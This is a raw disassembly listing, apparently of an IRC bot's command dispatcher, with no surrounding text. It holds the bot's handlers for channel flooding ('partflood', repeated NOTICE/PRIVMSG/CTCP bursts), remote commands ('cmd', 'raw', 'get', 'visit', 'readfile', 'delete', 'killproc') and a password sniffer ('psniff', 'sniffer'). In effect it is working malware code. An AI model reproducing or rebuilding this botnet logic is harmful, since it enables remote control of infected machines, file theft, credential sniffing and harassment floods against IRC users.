		push	offset aLoad	; "load"
		call	sub_41C070
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_404CFD
		cmp	[ebp+esi+var_80], ebx
		jz	short loc_404CFD
		push	[ebp+esi+var_80]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_417A5F
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_84]
		push	[ebp+esi+var_88]
		push	[ebp+esi+var_80]
		push	offset unk_42B508
		push	eax
		call	sub_41B886
		add	esp, 14h
		cmp	[ebp+var_8], ebx
		jnz	short loc_404CFD
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h


loc_404CFD:				; CODE XREF: sub_401ACD+31B9j
					; sub_401ACD+31BFj ...
		push	[ebp+arg_10]
		push	offset dword_42B504
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404D69
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404D69
		push	offset asc_42CA34 ; " "
		push	offset dword_42B500
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_50F4]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_50F4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4F0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404D69:				; CODE XREF: sub_401ACD+3241j
					; sub_401ACD+324Cj
		push	[ebp+arg_10]
		push	offset dword_42B4EC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404DD5
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404DD5
		push	offset asc_42CA34 ; " "
		push	offset dword_42B500
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4BF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4BF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4D8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404DD5:				; CODE XREF: sub_401ACD+32ADj
					; sub_401ACD+32B8j
		push	[ebp+arg_10]
		push	offset aNt	; "nt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404E41
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404E41
		push	offset asc_42CA34 ; " "
		push	offset dword_42B500
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_46EC]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_46EC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_1 ; "notice %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404E41:				; CODE XREF: sub_401ACD+3319j
					; sub_401ACD+3324j
		push	[ebp+arg_10]
		push	offset aMode	; "mode"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EAD
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_404EAD
		push	offset asc_42CA34 ; " "
		push	offset dword_42B500
		push	eax
		call	sub_417EEE
		push	eax
		lea	eax, [ebp+var_4DF0]
		push	eax
		call	sub_41BEB0
		add	esp, 14h
		lea	eax, [ebp+var_4DF0]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aModeSS	; "mode	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404EAD:				; CODE XREF: sub_401ACD+3385j
					; sub_401ACD+3390j
		push	[ebp+arg_10]
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404EEC
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404EEC
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_404EEC:				; CODE XREF: sub_401ACD+33F1j
					; sub_401ACD+33FCj
		push	[ebp+arg_10]
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F2B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F2B
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartS	; "part	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_404F2B:				; CODE XREF: sub_401ACD+3430j
					; sub_401ACD+343Bj
		push	[ebp+arg_10]
		push	offset aPartflood ; "partflood"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404F6F
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	short loc_404F6F
		push	offset aCyber	; "CYBER"
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_404F6F:				; CODE XREF: sub_401ACD+346Fj
					; sub_401ACD+347Aj
		push	[ebp+arg_10]
		push	offset aPnick	; "pnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_404FE8
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_404FE8
		nop
		call	near ptr 26807BDh
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_17B4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B468
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_17B4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B460
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_404FE8:				; CODE XREF: sub_401ACD+34B3j
					; sub_401ACD+34BCj
		push	[ebp+arg_10]
		push	offset dword_42B454
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405135
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405135
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 0C8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPartSS	; "part	%s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405135:				; CODE XREF: sub_401ACD+352Cj
					; sub_401ACD+3539j
		push	[ebp+arg_10]
		push	offset dword_42B450
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4051CF
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_4051CF
		call	near ptr 26807BDh
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		push	edx
		call	sub_41B8E2
		cdq
		mov	ecx, 0F423Fh
		idiv	ecx
		lea	eax, [ebp+var_2C4]
		push	edx
		push	[ebp+esi+var_88]
		push	offset dword_42B428
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 24h


loc_4051CF:				; CODE XREF: sub_401ACD+3679j
					; sub_401ACD+3686j
		push	[ebp+arg_10]
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4052D1
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jz	loc_4052D1
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		add	esp, 14h
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B460
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B460
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 1F4h
		idiv	ecx
		push	edx
		call	edi
		lea	eax, [ebp+var_4BC]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_4BC]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B460
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_4052D1:				; CODE XREF: sub_401ACD+3713j
					; sub_401ACD+3722j
		push	[ebp+arg_10]
		push	offset aChgnick	; "chgnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405318
		lea	eax, [ebp+var_1808]
		push	eax
		call	sub_417ADD
		pop	ecx
		lea	eax, [ebp+var_1808]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B460
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_405318:				; CODE XREF: sub_401ACD+3815j
		push	[ebp+arg_10]
		push	offset aMsg	; "msg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405407
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405407
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset dword_42B4F0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4F0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B4F0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405407:				; CODE XREF: sub_401ACD+385Cj
					; sub_401ACD+3869j
		push	[ebp+arg_10]
		push	offset aNotice_0 ; "notice"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4054F6
		cmp	[ebp+esi+var_88], ebx
		jz	loc_4054F6
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	offset aCyber_0	; "CYBER"
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 384h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_4054F6:				; CODE XREF: sub_401ACD+394Bj
					; sub_401ACD+3958j
		push	[ebp+arg_10]
		push	offset aCtcp	; "ctcp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40560D
		cmp	[ebp+esi+var_88], ebx
		jz	loc_40560D
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B3E0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3C8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3B0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B3B0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h


loc_40560D:				; CODE XREF: sub_401ACD+3A3Aj
					; sub_401ACD+3A47j
		push	[ebp+arg_10]
		push	offset aMix	; "mix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405733
		cmp	[ebp+esi+var_88], ebx
		jz	loc_405733
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset aJoinS	; "join	%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset dword_42B3E0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 10h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aPrivmsgSS_0 ; "PRIVMSG %s :%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h
		call	sub_41B8E2
		cdq
		mov	ecx, 514h
		idiv	ecx
		push	edx
		call	edi
		push	offset aCyber_0	; "CYBER"
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNoticeSS_0 ; "NOTICE %s	:%s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405733:				; CODE XREF: sub_401ACD+3B51j
					; sub_401ACD+3B5Ej
		push	[ebp+arg_10]
		push	offset aRegister ; "register"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405779
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		jz	short loc_405779
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+esi+var_88]
		push	offset aNickservRegist ; "nickserv register %s %s"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417788
		add	esp, 14h


loc_405779:				; CODE XREF: sub_401ACD+3C77j
					; sub_401ACD+3C82j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4062C3
		mov	edi, offset dword_4D400C


loc_405795:				; CODE XREF: sub_401ACD+3CE7j
		cmp	dword ptr [edi-4], 1
		jnz	short loc_4057A8
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_4057A8
		push	eax
		call	dword_4CB00C


loc_4057A8:				; CODE XREF: sub_401ACD+3CCCj
					; sub_401ACD+3CD2j
		add	edi, 210h
		cmp	edi, offset dword_4DA72C
		jl	short loc_405795
		cmp	[ebp+var_8], ebx
		jnz	loc_4062C3
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42B350
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4062C3
; ---------------------------------------------------------------------------


loc_4057DE:				; CODE XREF: sub_401ACD+3195j
		mov	edi, [ebp+arg_8]
		push	edi
		push	offset aNick_0	; "nick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aN	; "n"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409758
		push	edi
		push	offset aJoin	; "join"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aJ	; "j"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409731
		push	edi
		push	offset aPart_0	; "part"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aPt	; "pt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409711
		push	edi
		push	offset aRaw	; "raw"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4096D5
		push	edi
		push	offset aKillthread ; "killthread"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aK	; "k"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4095D5
		push	edi
		push	offset aC_quit	; "c_quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_q	; "c_q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409527
		push	edi
		push	offset aC_rndnick ; "c_rndnick"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aC_rn	; "c_rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094D5
		push	edi
		push	offset aPrefix	; "prefix"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aPr	; "pr"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4094BC
		push	edi
		push	offset aOpen	; "open"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aO	; "o"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40948E
		push	edi
		push	offset aServer	; "server"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aSe	; "se"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409471
		push	edi
		push	offset aDns	; "dns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aDn	; "dn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409406
		push	edi
		push	offset aKillproc ; "killproc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKp	; "kp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4093D6
		push	edi
		push	offset aKill	; "kill"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aKi	; "ki"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409377
		push	edi
		push	offset aDelete	; "delete"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aDel	; "del"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40933B
		push	edi
		push	offset aGet	; "get"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aGt	; "gt"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40925C
		push	edi
		push	offset aList	; "list"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aLi	; "li"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40923A
		push	edi
		push	offset aVisit	; "visit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aV	; "v"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409146
		push	edi
		push	offset aMirccmd	; "mirccmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aMirc	; "mirc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40910F
		push	edi
		push	offset aCmd	; "cmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aCm	; "cm"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4090A5
		push	edi
		push	offset aReadfile ; "readfile"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aRf	; "rf"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409028
		push	edi
		push	offset aPsniff	; "psniff"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C7B
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405C41
		push	20h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405B6B
		push	offset dword_42B250
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405B6B:				; CODE XREF: sub_401ACD+4092j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_EC4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_E3C], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_E38], eax
		jnz	short loc_405BAD
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405BAD
		mov	esi, [ebp+var_88]


loc_405BAD:				; CODE XREF: sub_401ACD+40C2j
					; sub_401ACD+40D8j
		push	esi
		lea	eax, [ebp+var_EC0]
		push	80h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B220
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	20h
		push	eax
		call	sub_40B0F6
		add	esp, 14h
		mov	[ebp+var_E40], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_EC4]
		push	ebx
		push	eax
		push	offset byte_411FD5
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		mov	ecx, [ebp+var_E40]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_405C30


loc_405C1A:				; CODE XREF: sub_401ACD+4161j
		cmp	[ebp+var_E34], ebx
		jnz	loc_40828B
		push	32h
		call	near ptr 2660F2Bh
		nop
		jmp	short loc_405C1A
; ---------------------------------------------------------------------------


loc_405C30:				; CODE XREF: sub_401ACD+414Bj
		call	near ptr 26709FBh
		nop
		push	eax
		push	offset dword_42B1E4
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405C41:				; CODE XREF: sub_401ACD+4082j
		push	[ebp+arg_10]
		push	offset aOff	; "off"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40828B
		push	ebx
		push	20h
		call	sub_40B2F1
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jle	short loc_405C71
		push	eax
		push	offset dword_42B1A8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_405C71:				; CODE XREF: sub_401ACD+4197j
		push	offset dword_42B17C
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405C7B:				; CODE XREF: sub_401ACD+406Bj
		push	edi
		push	offset aSniffer	; "sniffer"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405DCD
		push	[ebp+arg_10]
		push	offset aOn	; "on"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_405D93
		push	21h
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jle	short loc_405CBD
		push	offset unk_42B154
		jmp	loc_406F04
; ---------------------------------------------------------------------------


loc_405CBD:				; CODE XREF: sub_401ACD+41E4j
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_FEC], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F64], eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		mov	[ebp+var_F60], eax
		jnz	short loc_405CFF
		mov	esi, offset aF_1 ; "#f"
		push	offset dword_43D128
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_405CFF
		mov	esi, [ebp+var_88]


loc_405CFF:				; CODE XREF: sub_401ACD+4214j
					; sub_401ACD+422Aj
		push	esi
		lea	eax, [ebp+var_FE8]
		push	80h
		push	eax
